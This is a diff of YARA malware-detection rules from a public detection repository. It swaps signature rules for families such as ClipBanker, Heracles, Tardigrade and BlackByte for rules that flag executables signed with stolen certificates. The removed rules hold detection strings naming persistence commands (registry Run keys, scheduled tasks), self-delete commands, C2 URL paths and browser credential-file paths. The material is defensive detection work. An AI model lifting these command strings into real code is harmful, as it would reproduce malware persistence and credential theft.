 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c891db94df9cde9eaa6096ad68d96c7b85a9c03e255ce43ccb8543a016bd3853"
+		logic_hash = "71d1f8e9113170f410007b31c0d7316c537001b2a761f1e35d6bd2aa0b39f2d9"
 		score = 75
-		quality = 65
+		quality = 75
 		tags = "FILE"
-		hash1 = "e391c2d3e8e4860e061f69b894cf2b1ba578a3e91de610410e7e9fa87c07304c"
-
-	strings:
-		$x1 = "\\share\\kdcdll\\user641.pdb" ascii
-		$x2 = "5ADSelf@tech*7890" fullword wide
-		$kdc1 = "KdcVerifyEncryptedTimeStamp" ascii wide nocase
-		$kdc2 = "KerbHashPasswordEx3" ascii wide nocase
-		$kdc3 = "KerbFreeKey" ascii wide nocase
-		$r1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
-		$r2 = "KDC Service" fullword ascii
-		$s1 = "download//symbols//%S//%S//%S" fullword wide
-		$s2 = "c:\\windows\\system32\\kdcsvc.dll" fullword wide nocase
-		$s3 = /WinHttp(Send|Receive)(Request|Response) failed (0x%.8X)/ fullword wide
+		thumbprint = "005af6c8e9f06a2258c2df70785a5622c8d10d982fdc7f4dbe2f53af6e860359"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of them ) or ( all of ($kdc*) and (1 of ($x*) or all of ($r*) or 2 of ($s*))) or (8 of them ) or (pe.exports("MainFun") and pe.exports("NetApiBufferFree") and pe.exports("BeaEngineRevision") and pe.exports("BeaEngineVersion") and pe.exports("Disasm") and pe.exports("DllRegisterServer") and pe.exports("DsGetDcName") and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FLY BETTER s.r.o." and pe.signatures[i].serial=="24:e4:a2:b3:db:6b:e1:00:7b:9d:dc:91:99:5b:c0:c8")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Chinotto : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0772B4D1D63233D2B8771997Bc8Da5C4 : FILE
 {
 	meta:
-		description = "Detects Chinotto"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e66703d4-c9c6-5bb4-9e07-11dc89b0a034"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8702-L8754"
+		id = "a05a2bc4-a4a3-5e86-9a1c-ed82de7786df"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8356-L8369"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "92f37bdc4cf17e07bb556c60e3bde4547c34f67a2fb5c806000d9cb2446adff1"
+		logic_hash = "056fefbc03cff00a40ea9bb65893b92fcc15134c7cf7bf7dedf98f43b44bc03d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "xxxchinotto" ascii wide
-		$x2 = "\\Chinotto.pdb" ascii wide
-		$x3 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31
-                0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e
-                67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65
-                0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f
-                7a 69 6c 6c 61 2f 34 2e 30 28 63 6f 6d 70 61 74
-                69 62 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20
-                57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20
-                53 56 31 29 0d 0a 41 63 63 65 70 74 3a 20 69 6d
-                61 67 65 2f 67 69 66 2c 20 69 6d 61 67 65 2f 78
-                2d 78 62 69 74 6d 61 70 2c 20 69 6d 61 67 65 2f
-                6a 70 65 67 2c 20 69 6d 61 67 65 2f 70 6a 70 65
-                67 2c 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78
-                2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68
-                2c 20 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67
-                75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 43 6f 6e
-                74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69
-                70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 62
-                6f 75 6e 64 61 72 79 3d 25 73 0d 0a 48 6f 73 74
-                3a 20 25 73 3a 25 64 0d 0a 43 6f 6e 74 65 6e 74
-                2d 4c 65 6e 67 74 68 3a 20 25 64 0d 0a 43 6f 6e
-                6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c
-                69 76 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72
-                6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a
-                00 00 00 00 48 54 54 50 2f 31 2e 31 20 32 30 30
-                20 4f 4b 00 0d 0a 0d 0a 00 00 00 00 65 72 72 6f
-                72 3c 2f 62 3e }
-		$s1 = "Run /v xxxzexs /t REG_SZ /d %s /f" ascii wide
-		$s2 = "ShellExecute Error, ret" ascii wide
-		$s3 = "Run app succeed" ascii
-		$s4 = "cleartemp:" fullword ascii
-		$s5 = "wakeup:" fullword ascii
-		$s6 = "updir:" fullword ascii
-		$s7 = "regstart:" fullword ascii
-		$s8 = "chdec:" fullword ascii
-		$s9 = "cmd:" fullword ascii
-		$s10 = "error</b>" fullword ascii
-		$c1 = "Host: %s:%d" ascii wide
-		$c2 = "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1)" ascii wide
-		$c3 = "Mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/78.0.3904.108 Safari/537.36" ascii wide
-		$c4 = "id=%s&type=hello&direction=send" ascii wide
-		$c5 = "id=%s&type=command&direction=receive" ascii wide
-		$c6 = "id=%s&type=file&direction=" ascii wide
-		$c7 = "id=%s&type=result&direction=" ascii wide
+		thumbprint = "c6a78692f2fda8908933fb3f1df68592eb5da129caafd33329d1b804006973f7"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and (2 of ($s*) or 2 of ($c*))) or 4 of ($c*) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Maya logistika d.o.o." and pe.signatures[i].serial=="07:72:b4:d1:d6:32:33:d2:b8:77:19:97:bc:8d:a5:c4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Tardigrade : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1Deea179F5757Fe529043577762419Df : FILE
 {
 	meta:
-		description = "Detects Tardigrade"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a46caaaa-2954-552a-a20f-952c47370393"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8756-L8787"
+		id = "a6b9b9e4-0998-5f67-8c12-7628ba3a5a56"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8371-L8384"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2bd4f23f66844a320b6bed6242ba39096f66a08affb84abd78c342d433ed9fe6"
+		logic_hash = "b521363d1d38a4ed1b2b4126aec85ed6bffc23dc4e30f6f6c942e1fa96b0dd8d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "c0976a1fbc3dd938f1d2996a888d0b3a516b432a2c38d788831553d81e2f5858"
-		hash2 = "966b2c7c72a28310acd58bb23af4d3c893b2afca264b2d9c0ec42db815c77487"
-		hash3 = "88be5da274df704dc7fd9882c661a0afdd35f1ce0a7145e30f51c292abd2a86b"
-		hash4 = "cf88926b7d5a5ebbd563d0241aaf83718b77cec56da66bdf234295cc5a91c5fe"
-		hash5 = "4afd9f0dde092daeac3f3e6ffb0aee06682b3dba6005d2bd1a914eefd5cc6a30"
-
-	strings:
-		$x1 = "cmd.exe /c echo kOJAdtQoDcMuogIZIl>\"%s\"&exit" fullword ascii
-		$x2 = "cmd.exe /c echo HBnBcZPeUevCDQmKGzXxYJHqpzRAbRCQCihOxiLi>\"%s\"&exit" fullword ascii
-		$x3 = "cmd.exe /c set kpUUCjoLWLZvJFc=3167 & reg add HKCU\\SOFTWARE\\EQwIobTRgsJ /v PDMXPmqSYnUx /t REG_DWORD /d 10080 & exit" fullword ascii
-		$s1 = "ReplaceFileA" ascii
-		$s2 = "FlushFileBuffers" ascii
-		$s3 = "WaitNamedPipeA" ascii
-		$s4 = "ImpersonateNamedPipeClient" ascii
-		$s5 = "RegFlushKey" ascii
-		$s6 = /cmd\.exe \/c (echo|set)/ ascii
-		$s7 = ">\"%s\"&exit" ascii
+		thumbprint = "9c4e87ccd6004a70115f8e654b8cc1a80d488876ff2e4e7db598303fa41b3fef"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and (1 of ($x*) or 6 of ($s*)) and (pe.exports("DllGetClassObject") and pe.exports("DllMain") and pe.exports("DllRegisterServer") and pe.exports("DllUnregisterServer") and pe.exports("InitHelperDll") and pe.exports("StartW"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPIRIT CONSULTING s. r. o." and pe.signatures[i].serial=="1d:ee:a1:79:f5:75:7f:e5:29:04:35:77:76:24:19:df")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Clipbanker02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_061A27A3A3771Bb440Fc16Cadf2675C4 : FILE
 {
 	meta:
-		description = "Detects ClipBanker infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c2a480cf-e81b-53a2-999a-80209050e0cf"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8789-L8814"
+		id = "ef600135-6f5d-59a9-b387-60e8eb97cbf9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8386-L8399"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "51a43245b1e0b6fea874302b73bf552012c54c3f7c12b8c447c96c2ffdcc1dcb"
+		logic_hash = "d85b9d2b6fe4ce99670a8f51e84d63f1ec6d0341a3715eeed3e3d6a0fda93dc5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "\\Allcome\\Source code\\Clipper\\" ascii nocase
-		$x2 = "\\cleaper\\Release\\cleaper.pdb" ascii nocase
-		$v1_1 = "&username=" fullword ascii
-		$v1_2 = "/card.php?data=" fullword ascii
-		$v1_3 = "/Create /tn MicrosoftDriver /sc MINUTE /tr" fullword ascii
-		$v1_4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0" fullword ascii
-		$v1_5 = "/API/Clipper/ykesqk0o.php?cf6zrlhn=" fullword ascii
-		$v1_6 = "&di7ztth6=" fullword ascii
-		$v1_7 = "/API/Clipper/hr627gzk.php?v6etwxo5=" fullword ascii
-		$v2_1 = "bitcoincash:" fullword ascii
-		$v2_2 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" ascii
-		$re1 = "^[0-9]{16}$" fullword ascii
-		$re2 = "^[0-9]{4}\\s[0-9]{4}\\s[0-9]{4}\\s[0-9]{4}" fullword ascii
-		$re3 = "^\\d{2}\\D\\d{2}" fullword ascii
-		$re4 = "^[0-9]{3}" fullword ascii
-		$re5 = "([\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?)" fullword ascii
-		$re6 = "(\\d{2}\\D\\d{2})" fullword ascii
-		$re7 = "(\\d{3})" fullword ascii
+		thumbprint = "9ed703ba7033af5f88a5f5ef0155adc41715d3175eec836822a09a93d56e4b7f"
+		reason = "Matanbuchus"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and (5 of ($v1*) or all of ($v2*))) or (3 of ($re*) and (2 of ($v1*) or 2 of ($v2*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Westeast Tech Consulting, Corp." and pe.signatures[i].serial=="06:1a:27:a3:a3:77:1b:b4:40:fc:16:ca:df:26:75:c4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Badjoke : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_06675181E7B5E1030B3D40926E2A47D3 : FILE
 {
 	meta:
-		description = "Detects BadJoke / Witch"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "082727d5-618f-542d-93ca-ba93be16cd80"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8816-L8831"
+		id = "2452580b-bbe8-5d54-888e-6f8fffb055cf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8401-L8414"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4699a772bcd50d2fe43740df59a4c56598ba43ebcc18acbf8ec401b6f5a01fe6"
+		logic_hash = "14d963fd03187afb7afabc208e36d8bb45ec818b27782a6c3037229f82bf22d6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "msdownld.tmp" fullword ascii
-		$s2 = "UPDFILE%lu" fullword ascii
-		$s3 = "Command.com /c %s" fullword ascii
-		$s4 = "launch.cmd" fullword ascii
-		$s5 = "virus.vbs" fullword ascii
-		$s6 = "virus.py" fullword ascii
-		$m1 = "Message from Google Virus" ascii
-		$m2 = "you cannot get rid of this virus" ascii
+		thumbprint = "b617253b3695fd498d645bd8278d1bdae2bc36bd4da713c6938e3fe6b0cdb9a4"
+		reason = "NetWire"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($m*) or all of ($s*) or (1 of ($m*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORANGE VIEW LIMITED" and pe.signatures[i].serial=="06:67:51:81:e7:b5:e1:03:0b:3d:40:92:6e:2a:47:d3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Heracles : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Dbc03Ca7E6Ae6Db6 : FILE
 {
 	meta:
-		description = "Detects Heracles infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "36cb9366-c70b-5117-955f-402f87f3a88c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8833-L8861"
+		id = "801bc9fc-0bd6-5c46-8c45-8cb06cfc4309"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8416-L8429"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1d5c80c084f9d6e4692a18f74574179095ecdd5eaadd70b5d16c19702761d74f"
+		logic_hash = "7d188663b00870e98984b4be4c72b0fd183b5fb8dd61512c1d65d386f1ebad0a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "aHR0cHM6Ly9uYWNrZXIudG9hbnNlY3UuY29tL3VwbG9hZHM/a2V5PX" wide
-		$b1 = "XEdvb2dsZVxDaHJvbWVc" wide
-		$b2 = "XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3Nlcl" wide
-		$b3 = "XENvY0NvY1xCcm93c2VyX" wide
-		$b4 = "VXNlciBEYXRh" wide
-		$b5 = "RGVmYXVsdA" wide
-		$b6 = "UHJvZmlsZQ" wide
-		$b7 = "Q29va2llcw" wide
-		$b8 = "TG9naW4gRGF0YQ" wide
-		$b9 = "TG9jYWwgU3RhdGU" wide
-		$b10 = "bG9jYWxzdGF0ZQ" wide
-		$b11 = "bG9naW5kYXRh" wide
-		$s1 = "encrypted_key" fullword wide
-		$s2 = "<GetIpInfoAsync>d__" ascii
-		$s3 = "<reqHTML>5__" ascii
-		$s4 = "<idHardware>5__" ascii
-		$s5 = "<profilePaths>5__" ascii
-		$s6 = "<cookieFile>5__" ascii
-		$s7 = "<loginDataFile>5__" ascii
-		$s8 = "<localStateFile>5__" ascii
-		$s9 = "<postData>5__" ascii
+		thumbprint = "e059776cb5e640569a06c2548e87af5bd655f5d4815b8f6e9482835455930987"
+		reason = "CobaltStrike"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or 8 of ($s*) or (4 of ($b*) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPIDER DEVELOPMENTS PTY LTD" and pe.signatures[i].serial=="db:c0:3c:a7:e6:ae:6d:b6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Onlylogger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_26F855A25890B749578F13E4B9459768 : FILE
 {
 	meta:
-		description = "Detects OnlyLogger loader variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "525aa2a0-5090-5f96-999b-67ca4379f897"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8863-L8882"
+		id = "2953afc3-6a46-5126-8f82-52f8dc1f89d6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8431-L8444"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1b39a4d2a6d3a2633cfa98adc1dfe99d10d2493fd06c9f875c56ec7689b7a561"
+		logic_hash = "2de5a2d4d692c14660a9ec3ed18a7d2d6741a862c86812fcd640b1378281c328"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = { 45 6c 65 76 61 74 65 64 00 00 00 00 4e 4f 54 20 65 6c 65 76 61 74 65 64 }
-		$s2 = "\" /f & erase \"" ascii
-		$s3 = "/c taskkill /im \"" ascii
-		$s4 = "KILLME" fullword ascii
-		$s5 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
-		$gn = ".php?pub=" ascii
-		$ip = /\/1[a-z0-9A-Z]{4,5}/ fullword ascii
-		$h1 = "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1" fullword ascii
-		$h2 = "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8" fullword ascii
-		$h3 = "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1" fullword ascii
-		$h4 = "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0" fullword ascii
-		$h5 = "Content-Type: application/x-www-form-urlencoded" fullword wide
+		thumbprint = "7c81ba35732d1998def02461217cfd723150151bc93375a3e27c2cec33915660"
+		reason = "Quakbot"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (#ip>5 and ($gn or 3 of ($s*) or all of ($h*))) or ( all of ($h*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Boo’s Q & Sweets Corporation" and pe.signatures[i].serial=="26:f8:55:a2:58:90:b7:49:57:8f:13:e4:b9:45:97:68")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Blackbytego : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_25Ba18A267D6D8E08Ebc6E2457D58D1E : FILE
 {
 	meta:
-		description = "Detects BlackByte ransomware Go variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "25431446-8cce-54cc-925d-5d9147344c6d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8884-L8904"
+		id = "d2c4907e-cec2-5386-96d3-8c122c7557fa"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8446-L8459"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b3e6a4a2f043293e8693cfbe1515681ce0616d98e2492732fc06a01a96309883"
+		logic_hash = "38bdfa2291c7c3f81b29d41c65814002db3e4de11928699d2d946e87d313558d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "BlackByteGO/_cgo_gotypes.go" fullword ascii
-		$x3 = "BlackByteGO/" ascii nocase
-		$s1 = ".Disconnect" ascii
-		$s2 = ".OpenService" ascii
-		$s3 = ".ListServices" ascii
-		$s4 = ".Start" ascii
-		$s5 = ".Encrypt" ascii
-		$s6 = ".Decrypt" ascii
-		$s7 = ".MustFindProc" ascii
-		$s8 = ".QuoRem" ascii
-		$s9 = "C:\\Windows\\regedit.exe" fullword wide
+		thumbprint = "e59824f73703461c2c170681872a28a9bc4731d4b49079aa3afba1d29f83d736"
+		reason = "BadNews"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "5Y TECHNOLOGY LIMITED" and pe.signatures[i].serial=="25:ba:18:a2:67:d6:d8:e0:8e:bc:6e:24:57:d5:8d:1e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Vulturi : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A2787Fbb4627C91611573E323584113 : FILE
 {
 	meta:
-		description = "Detects Vulturi infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dca814d6-ca26-5315-9f80-628ee50e8dfa"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8906-L8931"
+		id = "5da7ac8f-34f7-5949-9987-32e983a77ebe"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8461-L8474"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4d1d88764dd72ae78a74b802e11c2f28899b7b9f45c54cf3bf7aaac49dd48d7f"
+		logic_hash = "e4ea9149f28798b48482ff68c3e08593a4510e3bd01e49ebdca7d450f15537e4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Vulturi_" ascii wide
-		$x2 = "VulturiProject" fullword ascii
-		$s1 = { 5b 00 2d 00 5d 00 20 00 53 00 65 00 72 00 76 00
-               65 00 72 00 20 00 ?? ?? 20 00 69 00 73 00 20 00
-               6f 00 66 00 66 00 6c 00 69 00 6e 00 65 00 2e 00
-               2e 00 2e 00 00 ?? 5b 00 2b 00 5d 00 20 00 53 00
-               65 00 72 00 76 00 65 00 72 00 20 00 00 ?? ?? 00
-               69 00 73 00 20 00 6f 00 6e 00 6c 00 69 00 6e 00
-               65 00 }
-		$s2 = "Writing is not alowed" wide
-		$s3 = "System\\ProcessList.txt" fullword wide
-		$s4 = "[X] GetSSL ::" fullword wide
-		$s5 = "Failed to steal " wide
-		$s6 = "StealerStub" fullword ascii
-		$s7 = "/C chcp 65001 && netsh" wide
-		$n1 = "fetch_options" fullword wide
-		$n2 = "send_report" fullword wide
-		$n3 = "?username=" fullword wide
+		thumbprint = "8badf05b1814d40fb7055283a69a0bc328943100fe12b629f1c14b9448163aac"
+		reason = "Malware"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and any of them ) or all of ($n*) or 5 of ($s*) or (1 of ($n*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "exxon.com" and pe.signatures[i].serial=="0a:27:87:fb:b4:62:7c:91:61:15:73:e3:23:58:41:13")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Tofsee : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C81319D20C6F1F1Aec3398522189D90C : FILE
 {
 	meta:
-		description = "Detects Tofsee"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "86371c0b-72f9-56c0-9f34-f14d2a069c91"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8933-L8949"
+		id = "d93f571b-49f6-5a8b-9478-1054ede2257f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8476-L8489"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9ef06643173c70c5b06b19200cb5b5efa7db7eb3516b67621f0b1975f1c80781"
+		logic_hash = "1271d0cc05d35a70a90f605e7c68fc52605570e453e9e67fbeb74762a88a0a96"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "n%systemroot%\\system32\\cmd.exe" fullword wide
-		$s2 = "loader_id" fullword ascii
-		$s3 = "start_srv" fullword ascii
-		$s4 = "lid_file_upd" fullword ascii
-		$s5 = "localcfg" fullword ascii
-		$s6 = "Incorrect respons" fullword ascii
-		$s7 = "mx connect error" fullword ascii
-		$s8 = "Error sending command (sent = %d/%d)" fullword ascii
-		$s9 = "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u" fullword ascii
+		thumbprint = "18d8be8afa6613e2ef037598a6e08e0ef197d420f21aa4050f473fcabd16644a"
+		reason = "RedLineStealer"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="c8:13:19:d2:0c:6f:1f:1a:ec:33:98:52:21:89:d9:0c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Khonsari : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_77550Ed697992B397E3F1Ad8E2A662D1 : FILE
 {
 	meta:
-		description = "Detects Khonsari ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2d562e62-a948-570d-8ff2-cc4835b91573"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8951-L8963"
